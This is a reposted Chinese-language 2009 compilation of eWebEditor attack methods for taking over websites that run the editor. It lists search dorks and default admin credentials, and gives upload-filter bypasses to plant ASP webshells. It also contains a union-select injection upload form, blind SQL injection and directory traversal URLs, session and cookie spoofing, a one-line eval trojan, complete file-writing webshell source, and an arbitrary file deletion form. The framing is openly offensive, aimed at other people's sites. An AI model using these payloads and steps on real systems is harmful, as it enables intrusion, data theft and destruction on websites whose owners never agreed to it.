Ewebeditor最新漏洞及漏洞大全[收集]
來源:轉載作者:佚名時間:2009-06-03 00:04:26
下面文章收集轉載於網路:) 算是比較全面的ewebeditor編輯器的漏洞收集,如今的站點大多數用的都是ewebeditor編輯器,
所以ewebeditor漏洞的危害性還是相當大的,做了一下漏洞收集,漏洞修補的方法可去網上查詢。
漏洞更新日期TM: 2009 2 9日轉自zake’S
Blog
ewebeditor最新漏洞。這個程式爆漏洞一般都是直接上傳的漏洞,首先在本地搭建一個ASP環境重新命名一個木馬名字比如:1.gif.asp這種就OK了
那麼接下來完美本地搭建一個環境你能夠用WEB小工具搭建一個,目的就是讓遠端上傳。http://127.0.0.1/1.gif.asp搭建好了,在官方的地方執行網路地址然後確定以後,
這裡是最關鍵的一部!
這裡點了遠端上傳以後,再提交得到木馬地址
因為官方在圖片資料夾做了限制導致不能執行ASP指令碼而沒能拿到WEB許可權。
屬於安全檢測漏洞版本號ewebeditor v6.0.0
曾經的ewebeditor漏洞:
ewebeditor注入漏洞
大家都知道ewebeditor編輯器預設的資料庫路徑db/ewebeditor.mdb
預設後臺地址是admin_login.asp,另外存在遍歷資料夾漏洞,假設是asp字尾的資料庫還能夠寫入一句話
今天我給大家帶來的也是ewebeditor編輯器的入侵方法
只是一種是注入,一種是利用upload.asp檔案,本地構造
NO1:注入
http://www.XXX.com/ewebeditor2007/ewebeditor.asp?id=article_content&style=full_v200
編輯器ewebedior7曾經版本號通通存在注入
直接檢測不行的,要寫入特徵字元
我們的工具是不知道ewebeditor的表名的還有列名
我們自己去看看
哎。。先表吧
要先加入�進庫
開始猜賬號password了
我們==
心急的往後拉
出來了
[sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
對吧^_^
後面不說了
NO2:利用upload.asp檔案,本地構造上傳shell
大家看這裡
http://www.siqinci.com/ewebeditor2007/admin_style.asp?action=stylepreview&id=37
假設遇見這種情況又無法加入�工具欄是不是非常鬱悶
如今不鬱悶了,^_^源源不一般
我們記錄下他的樣式名“aaa”
我已經吧upload.asp檔案拿出來了
我們構造下
OK,我之前已經構造好了
事實上就是這裡
<form action=”地址/path/upload.asp?action=save&type=&style=樣式名” method=post name=myformenctype=”multipart/form-data”>
<input type=file name=uploadfile size=1 style=”width:100%”>
<input type=submit value=”上傳了”></input>
</form>
以下我們執行他上傳個大馬算了
UploadFile上傳進去的在這個資料夾下
2008102018020762.asa
過往漏洞:
首先介紹編輯器的一些預設特徵:
預設登陸admin_login.asp
預設資料庫db/ewebeditor.mdb
預設帳號admin
passwordadmin或admin888
搜尋keyword:”inurl:ewebeditor”keyword十分重要
有人搜尋”eWebEditor -eWebSoft線上編輯器”
根本搜尋不到幾個~
baidu.google搜尋inurl:ewebeditor
幾萬的站起碼有幾千個是具有預設特徵的~
那麼試一下預設後臺
http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp
試預設帳號password登陸。
利用eWebEditor獲得WebShell的步驟大致例如以下:
1.確定站點使用了eWebEditor。一般來說,我們僅僅要注意發表帖子(文章)的頁面是否有類似做了記號的圖示,就能夠大致做出推斷了。
2.檢視原始碼,找到eWebEditor的路徑。點選“檢視原始碼”,看看原始碼中是否存在類似“<iframe
ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的語句。事實上僅僅有發現了存在這種語句了,才幹夠真正確定這個站點使用了eWebEditor。然後記下src=’***’中的“***”,這就是eWebEditor路徑。
3.訪問eWebEditor的管理登入頁面。eWebEditor的預設管理頁面為admin_login.asp,和ewebeditor.asp在同一資料夾下。以上面的路徑為例,我們訪問的地址為:http://www.***.net/edit/admin_login.asp,看看是否出現了登入頁面。
假設沒有看到這種頁面,說明管理員已經刪除了管理登入頁面,呵呵,還等什麼,走人啊,換個地方試試。只是一般來說,我非常少看到有哪個管理員刪了這個頁面,試試預設的username:admin,password:admin888。怎麼樣?成功了吧(不是預設賬戶請看後文)!
4.新增�上傳檔案型別。點選“樣式管理”,隨便選擇列表中底下的某一個樣式的“設定,為什麼要選擇列表中底下的樣式?由於eWebEditor自帶的樣式是不同意改動的,當然你也能夠拷貝一個新的樣式來設定。
然後在上傳的檔案型別中新增�“asa”型別。
5.上傳ASP木馬,獲得WebShell。接下來將ASP木馬的副檔名改動為asa,就能夠簡單上傳你的ASP木馬了。不要問我怎麼上傳啊,看到
“預覽”
了嗎?點選“預覽”,然後選擇“插入其他檔案”的button就能夠了。
漏洞原理
漏洞的利用原理非常easy,請看Upload.asp檔案:
不論什麼情況下都不同意上傳asp指令碼檔案
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
由於eWebEditor只過濾了ASP檔案。記得我第一次使用eWebEditor時就在納悶:既然作者已經知道asp檔案須要過濾,為什麼不同一時候過濾asa、cer等檔案呢?或許這就是對免費使用者不負責任的表現吧!
高階應用
eWebEditor的漏洞利用另一些技巧:
1.使用預設username和password無法登入。
請試試直接下載db資料夾下的ewebeditor.mdb檔案,username和password在eWebEditor_System表中,經過了md5加密,假設無法下載或者無法破解,那就當自己的運氣不好了。
2.加了asa型別後發現還是無法上傳。
應該是站長懂點程式碼,自己改動了Upload.asp檔案,可是沒有關係,依照常人的思維習慣,往往會直接在sAllowExt = Replace(UCase(sAllowExt),“ASP”, “”)一句上改動,我就看見過一個站長是這樣改動的:
sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”,“”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
猛一看什麼都過濾了,可是我們僅僅要在上傳型別中新增�“aaspsp”,就能夠直接上傳asp檔案了。呵呵,是不是天才的想法?“aaspsp”過濾了“asp”字元後,反而變成了“asp”!順便告訴大家一個祕密,事實上動網論壇7.0
sp2中也能夠利用類似的方法繞過對副檔名的過濾。
3.上傳了asp檔案後,卻發現該資料夾沒有執行指令碼的許可權。
呵呵,真是好笨啊,上傳型別能夠改,上傳路徑不是也能夠改動的嗎?細緻看看圖四。
4.已經使用了第2點中的方法,可是asp型別還是無法上傳。
看來站長肯定是一個寫asp的高手,可是我們還有最後一招來對付他:看到圖三中的“遠端型別”了嗎?eWebEditor可以設定自己主動儲存遠端檔案的型別,我們可以添�asp型別。可是怎樣才幹讓遠端訪問的asp檔案可以以原始碼形式儲存呢?方法是非常多的,最簡單的方法是將IIS中的“應用檔案對映”中的“asp”刪除。
後記
依據自己的經驗,差點兒僅僅要能進入eWebEditor的後臺管理,基本上都可以獲得WebShell。在Google上搜尋“ewebeditor.asp?id=”可以看到長達十多頁的相關資訊,我大致抽查了當中幾個,發現成功率約為50%。還不錯吧?oblg
2.52版曾經的版本號也是使用eWebEditor,能夠去搜尋幾個來練練手。要命的是eWebEditor的官方站點和幫助檔案里根本沒有這方面的安全提示。還有,我發現官方提供的測試系統並不存在類似的漏洞,看來不是他們不知道,而是沒有把免費使用者的網路安危放在心上!
eWebEditor=>2.8 商業版後臺一句話木馬利用
登陸後臺,點選改動password---新password設定為 1":evalrequest("a")’
設定成功後,訪問asp/config.asp檔案就可以,一句話木馬被寫入到這個檔案中面了.
ewebeditor漏洞利用總結
先從最主要的記錄起!通常入侵ewebeditor編輯器的過程例如以下:
1、首先訪問預設管理頁看是否存在。
預設管理頁地址2.80曾經為 ewebeditor/admin_login.asp 以後版本號為admin/login.asp (各種語言的大家自己改字尾,本文就以asp來進行說明,以下不再細說了!)
2、預設管理帳號password!
預設管理頁存在!我們就用帳號password登陸!預設帳號password為: admin admin888 !經常使用的password還有admin admin999 admin1 admin000 之類的。
3、預設資料庫地址。
假設password不是預設的。我們就訪問是不是預設資料庫!嘗試下載資料庫得到管理員password!管理員的帳號password,都在eWebEditor_System表段裡,sys_UserName Sys_UserPass 都是md5加密的。得到了加密password。能夠去www.cmd5.com www.xmd5.org 等站點進行查詢!暴力這活好久不幹了!也能夠丟國外一些能夠跑password的站點去跑!
預設資料庫路徑為:ewebeditor/db/ewebeditor.mdb 經常使用資料庫路徑為:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdbewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
非常多管理員常改.asp字尾,一般訪問.asp .asa 字尾的都是亂碼!能夠用下載工具下載下來,然後更改字尾為.mdb 來檢視內容!
4、說說漏洞基本利用步驟,還以asp為例!
登陸後臺以後。選擇樣式管理,預設編輯器的預設樣式都不能夠改動的。我們能夠從隨意樣式新建一個樣式,然後在圖片上傳加入�可上傳字尾。.asa .cer .cdx 等!.asp 過濾過了。可是我們能夠用.asaspp字尾來加入�,這樣上傳檔案正好被ewebeditor 吃掉asp字尾,剩下.asp 呵呵!程式碼不具體說了。總之是個非常可笑的過濾!相同,假設遇到一個管理員有安全意識的,從程式碼裡,把.asp .asa .cer .cdx 都全然禁止了,我們也能夠用.asasaa 字尾來突破。加入�完了字尾,能夠在樣式管理,點選預覽,然後上傳!
5、預設管理頁不存在!
在實際入侵過程中,有非常多預設的管理頁不存在的時候。我們能夠直接訪問樣式管理頁面 ewebeditor/admin_style.asp 然後用第4步的方式拿webshell。假設樣式管理頁也不存在的話,我們能夠看資料庫內的樣式表(ewebeditor_style)裡面有沒有比我們先進去的朋友留下的樣式。然後構造上傳!詳細url例如以下:eWebEditor/ewebeditor.asp?id=content&style=www 紅色部分是我們發現被改動加入�了asa字尾的樣式名,大家自行改動!
6、ewebeditor的幾個版本號存在注入!
ewebeditor 曾經版本號都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
加入�驗證字串,和管理員欄位能夠跑出管理員的md5加密password!
ewebeditor v2.1.6存在注入,能夠用union select 加入�上傳字尾進行上傳!先貼漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6上傳漏洞利用程式----</H3><br><br>
<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'unionselectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrlfrom ewebeditor_style where s_name='standard'and'a'='a" method=postname=myform enctype="multipart/form-data">
<input type=file name=uploadfilesize=100><br><br>
<input type=submit value=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
以上程式碼令存為html!改動紅色部分的路徑,然後自己主動上傳 .cer 檔案!漏洞原因是由於sStyleName變數直接從style中讀取,並沒有過濾,所以能夠包括隨意字元!用select在ewebeditor_style表中查詢s_name為sStyleName的記錄,找不到就提示出錯!在sStyleName變數中用union來構造記錄,我們能夠在sAllowExt中添�"|cer"、"|asa"等!
另外另一些版本號的ewebeditor的upload.asp檔案存在注入漏洞!貼幾個注入用的url!資訊錯誤則返回指令碼出錯的提示,在瀏覽器左下角!詳細利用例如以下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意改動紅色部分的欄位名、位數、ascii碼的值!
7、資料夾遍歷漏洞!
這裡大概說一下!資料夾遍歷漏洞基本存在於ewebeditor/admin_uploadfile.asp 高版本號的是ewebeditor/admin/upload.asp 檔案!這個檔案有的不須要登陸驗證,有些須要!非常多有經驗的管理員會把編輯器的資料夾設定為僅僅讀許可權,不可改動!這樣的情況下,唯一能夠利用的也就是利用遍歷資料夾功能檢視站點檔案,比方資料庫路徑、後臺地址、其它的上傳地址、最直觀的就是別人留下的小馬等等!這些都自由發揮了!說下漏洞利用方法!
漏洞利用方式例如以下:在上傳檔案管理頁面隨便選擇一個上傳樣式!比方ewebeditor/admin_uploadfile.asp?id=14 在id後面加入�&dir=../..
類似例如以下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/能夠看到站點資料庫的路徑!
另外一個遍歷資料夾的漏洞檔案是ewebeditor/asp/browse.asp
漏洞程式碼為:
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO =Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder =oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir變數,這個值等下我們能夠用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If
If sDir <> "" Then
If InstrRev(sDir, "/") > 1Then
s_Url= Left(sDir, InstrRev(sDir,"/") - 1)
Else
s_Url = ""
End If
s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.WritesDir&"!"&s_List
Dim oSubFolder
For Each oSubFolder InoUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" &oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name &"" & _
" " & _
""
Next
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'這行讓人有點鬱悶,檢測了全部同意的檔案字尾,如不同意就無法列出,不然就不僅僅列出資料夾名和圖片檔案了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir &"/" & sFileName
End If
s_List = s_List & "" & _
"" & FileName2Pic(sFileName)& "" & _
"" & sFileName &"" & _
"" &GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir &""
's_Url = "/" & sDir &"/"
End If
s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.WriteServer.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList("""& s_List & """, """ & s_Url &""")"
GetList = s_List
End Function
'假設沒有以下這步檢測的話,應該就能夠列出資料夾中全部的檔案了,有點鬱悶..如今僅僅能列出同意字尾的檔案和資料夾名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我們順著程式碼往下找,發現sCurrDir的值是通過以下的值得到的
Sub InitParam()
sType =UCase(Trim(Request.QueryString("type")))
sStyleName =Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i),"|||")
If Lcase(sStyleName) =Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("alert('InvalidStyle.')")
End If
sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1
If nAllowBrowse <> 1 Then
OutScript("alert('Do not allowbrowse!')")
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <>"/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" &sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" &sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" &sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" &sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" &sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" &aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" &aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" &aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" &aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" &aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath =RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意這裡,這個是得到了配置的路徑地址
sDir = Trim(Request("dir")) '得到dir變數
sDir = Replace(sDir, "\","/") '對dir變數進行過濾
sDir = Replace(sDir, "../","")
sDir = Replace(sDir, "./","")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir& sDir)) = True Then
sCurrDir = sUploadDir & sDir &"/"
'重點就在這裡了,看到沒有,當sUploadDir & sDir存在的時候,sCurrDir就為sUploadDir & sDir的值了
'儘管上面對sDir進行了過濾,只是我們全然能夠跳過.詳細利用以下的利用中給出
Else
sDir = ""
End If
End If
End Sub
利用方式例如以下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
這樣子就能夠看到admin的內容了。構造特殊的dir繞過上面的驗證!頁面空白的時候檢視原始碼,就能夠看到資料夾列表了!
8、session欺騙漏洞!
適用於一些設定不當的虛擬主機。當旁註得到一個webshell,而目標站存在ewebeditor卻不能找到password的時候能夠嘗試欺騙進入後臺!順序例如以下:
新建一個.asp檔案,內容例如以下:<%Session("eWebEditor_User") = "123132323"%> 然後訪問這個檔案,再訪問ewebeditor/admin_default.asp!欺騙進入後臺!只是非常老了!
9、後臺跳過認證漏洞!
訪問後臺登陸頁面!隨便輸入帳號password,返回錯誤!然後清空瀏覽器,在位址列輸入
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
然後再清空位址列,在路徑裡輸入後臺登陸後的頁面,比方: admin_default.asp admin/default.asp 等。直接進入後臺,利用方式見上文!
10、利用遠端上傳功能!
比方s_full樣式就存在這個功能,開啟編輯頁面,然後圖片,選擇輸入url 比方:http://site.com/1.gif.asp ! 然後選擇上傳遠端檔案!自己主動就把1.gif.asp 儲存在上傳資料夾內!注:網上的東西大部分傳來傳去,這個辦法愚弄自己還成!檔案的確顯示字尾為.asp可是不能訪問,由於收集過來的時候自己主動截止在1.gif了所以後面的.asp等於沒有!並且gif的內容就是我們這個url的路徑!呵呵,後來又看到一個利用方式!是利用遠端蒐集的時候執行,我們檔案的程式碼生成另外的小馬!
利用程式碼例如以下:
首先建立1.gif.asp 程式碼例如以下
<%
Set fs =CreateObject("Scripting.FileSystemObject")
SetMyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我們的1.gif.asp的同資料夾下建立一個akteam.asp檔案,內容就是我們的小馬:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%setdama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action=''method=post>"%>
<%="<input type=textname=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submitvalue=save>"%>
<%="</form>"%>
利用上面說的遠端上傳的方式!能夠得到webshell!成功率取決於,虛擬主機的安全設定!
11、隨意檔案刪除漏洞!
此漏洞存在於Example\NewsSystem資料夾下的delete.asp檔案裡,這是ewebeditor的測試頁面,無須登陸能夠直接進入!看程式碼
' 把帶"|"的字串轉為陣列
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 刪除新聞相關的檔案,從目錄中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路徑檔名稱刪除檔案
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面從資料庫取出來的:
sSavePathFileName =oRs("D_SavePathFileName")
看看D_SavePathFileName是怎麼加入�到資料庫裡的,在addsave.asp(modifysave.asp)裡:sSavePathFileName =GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") =sSavePathFileName
竟然過濾了,是GetSafeStr函式,再看看這個函式,在Startup.asp裡:
Function GetSafeStr(str)
GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")
End Function
既然路徑沒有過濾,那就能夠直接定義了,構造一個提交頁面,當中d_savepathfilename自己隨意賦值(要刪除多個檔案,用|隔開就可以)。試試../../eWebEditor.asp,提交後刪除該新聞,於是主資料夾下的eWebEditor.asp不見了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor刪除檔案 byldjun(>
新聞列表%20|%20新增�新聞
新增�新聞
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post"name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要刪的檔案(相對路徑就能夠了):</td>
<td><input type="text"name="d_savepathfilename" value=""size="90"></td>
</tr>
<tr><td>新聞標題(隨便填):</td>
<td><input type="text"name="d_title" value="" size="90"></td>
</tr>
<tr><td>標題圖片:</td>
<td><selectname="d_picture" size=1><option value=''>無</option></select>
當編輯區有插入圖片時,將自己主動填充此下拉框</td>
</tr>
<tr><td>新聞內容(隨便填):</td>
<td><textareaname="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmitvalue=" 提交 ">
<input type=reset name=btnResetvalue=" 重填 ">
</form>
</BODY></HTML>
刪除檔案漏洞通常是配合其它漏洞使用的,比方資料夾遍歷
<a href='list.asp'>中的list.asp地址要改動
<a href='add.asp'>中的add.asp地址要改動
<formaction="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要改動)
另外一個簡單利用方式:
<formaction="http://www.xxxbing.com/editor/example/newssystem/addsave.asp"method="post">
<input type=hiddenname=d_originalfilename value="x">
<input type=hidden name=d_savefilenamevalue="x">
要刪除的檔案(相對路徑,多個檔案用“|”隔開)<br>
<input type=textname=d_savepathfilename>
<input type=hiddenname="d_title" value="x">
<input type=hiddenname="d_picture" value="x">
<textareaname="d_content">x</textarea>
<input type=submit name=btnSubmitvalue="submit">
</form>
然後得到返回的新聞ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
有幾個版本號的ewebeditor上傳型別是在security.asp 檔案控制的!直接刪除該檔案能夠上傳隨意webshell!
12、其它!
其它說點什麼呢!以上的辦法都是本人經驗和網上搜集!臨時就想到這些了,以後想到了再補全!說說aspxphp jsp版本號的利用吧!
ASPX版:
受影響檔案:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell檔案。在瀏覽器位址列輸入javascript:lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASPX檔案....檔案預設的上傳後儲存的地址是eWebEditorNet/UploadFile/如今來看看是否上傳成功.....
PHP版本號:PhP版本號和asp版本號利用方式類似!只是php許可權較高,不多廢話了!
jsp版本號:網上有非常多jsp的版本號,根本沒有對上傳檔案型別進行檢測!須要注意的是jsp版本號的沒有上傳button!直接選擇檔案,回車就能夠提交了!
安指令碼分主要有4個版本號,ASP/ASPX/PHP/JSP 每一個版本號都有能夠利用的漏洞。
安全漏洞
管理員未對編輯器的資料庫路徑和名稱進行改動,導致能夠利用編輯器預設路徑直接對站點資料庫進行下載。
管理員未對編輯器的使用者登入路徑進行改動,導致黑客能夠利用站點資料庫所獲得的username和password直接登陸編輯器管理後臺。
ASP版
重要檔案的名稱和路徑
Admin_login.asp
Admin_default.asp
Admin_style.asp
Admin_uploadfile.asp
Upload.asp
Admin_modipwd.asp
eWebEditor.asp
db/ewebeditor.mdb
一般用這個的預設後臺的URL都是預設的
www.***.com/admin/ewebeditor/login_admin.asp
www.***.com/ewebeditor/login_admin.asp
www.***.com/admin/eweb/login_admin.asp
www.***.com/admin/editor/login_admin.asp
下載資料庫
還有假設預設的賬戶和password改動了,我們能夠下載他們的資料庫,然後本地破解MD5了
預設資料庫…/db/ewebeditor.mdb 或者。../db/ewebeditor.asp
登入後臺後,點選樣式管理,隨便選擇一個樣式,自帶的樣式不能改動的。
拷貝一個樣式,在其他型別中新增�,asa型別,接下來把免殺的asp木馬的字尾名改成asa,返回管理首頁,點選預覽,然後選擇插入其他檔案的button進行asp木馬的上傳,上傳的ASP木馬就在,UploadFILE目錄裡。
假設加了asa型別後發現還是無法上傳。應該是站長懂點程式碼,自己改動了Upload.asp檔案,可是沒有關係,依照常人的思維習慣,往往直接在sAllowExt =Replace(UCase(sAllowExt),”asp”,””)一句上改動。
可是我們僅僅要在上傳型別中新增�“aaspsp”,就能夠傳asp檔案了,
假設上述兩種方法都失敗了,則利用eWebEditor可以設定自己主動儲存遠端檔案的型別,我們可以添�asp型別。可是怎樣才幹讓遠端訪問的asp檔案可以以原始碼形式儲存呢?方法是非常多的,最簡單的方法是將IIS中的應用檔案對映中的ASP刪除。
有的站資料庫設定了僅僅讀屬性,這種站你是無法新加樣式的,這種站你能夠看他資料庫裡的樣式設定情況,一般非常多時候都是讓人給拿過的,並且明顯的asa在那裡。這種話就能夠直接構造一個呼叫這個樣式的連線來上傳shell.
比方發現資料庫裡有樣式123他設定的是能夠上傳asa的話,那麼就能夠這樣呼叫:http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123
這樣就能夠直接上傳了,然後在點編輯就會找到shell的路徑了。事實上這個漏洞主要是upload.asp的過濾不嚴造成的,新版的應該都修復了,詳細愛影響的版本號我也沒統計過。
遍歷路徑
Ewebeditor遍歷路徑漏洞,當資料庫僅僅讀的時候,ewebeditor/admin_uploadfile.asp?id=14在id=14後面加入�&dir=再加&dir=/或&dir=http://www.****.com// 看到整個站點檔案了,只是此項測試的時候發現,僅僅有登入成功才幹進行操作。
Cookie漏洞
漏洞檔案:admin_private.asp
漏洞語句:
<% if session (“eWebEditor_User”) = “”Then
Response.Redirect “admin_login.asp”
Response.End
End If
僅僅推斷了session,沒有推斷cookies和路徑的驗證問題。
漏洞利用:
新建一個mrchen.asp內容例如以下:
<%Session (“eWebEditor_User”) =”11111111”%>
訪問mrchen.asp,再訪問後臺不論什麼檔案,forexample:Admin_Default.asp這個拿shell的方法就簡單了。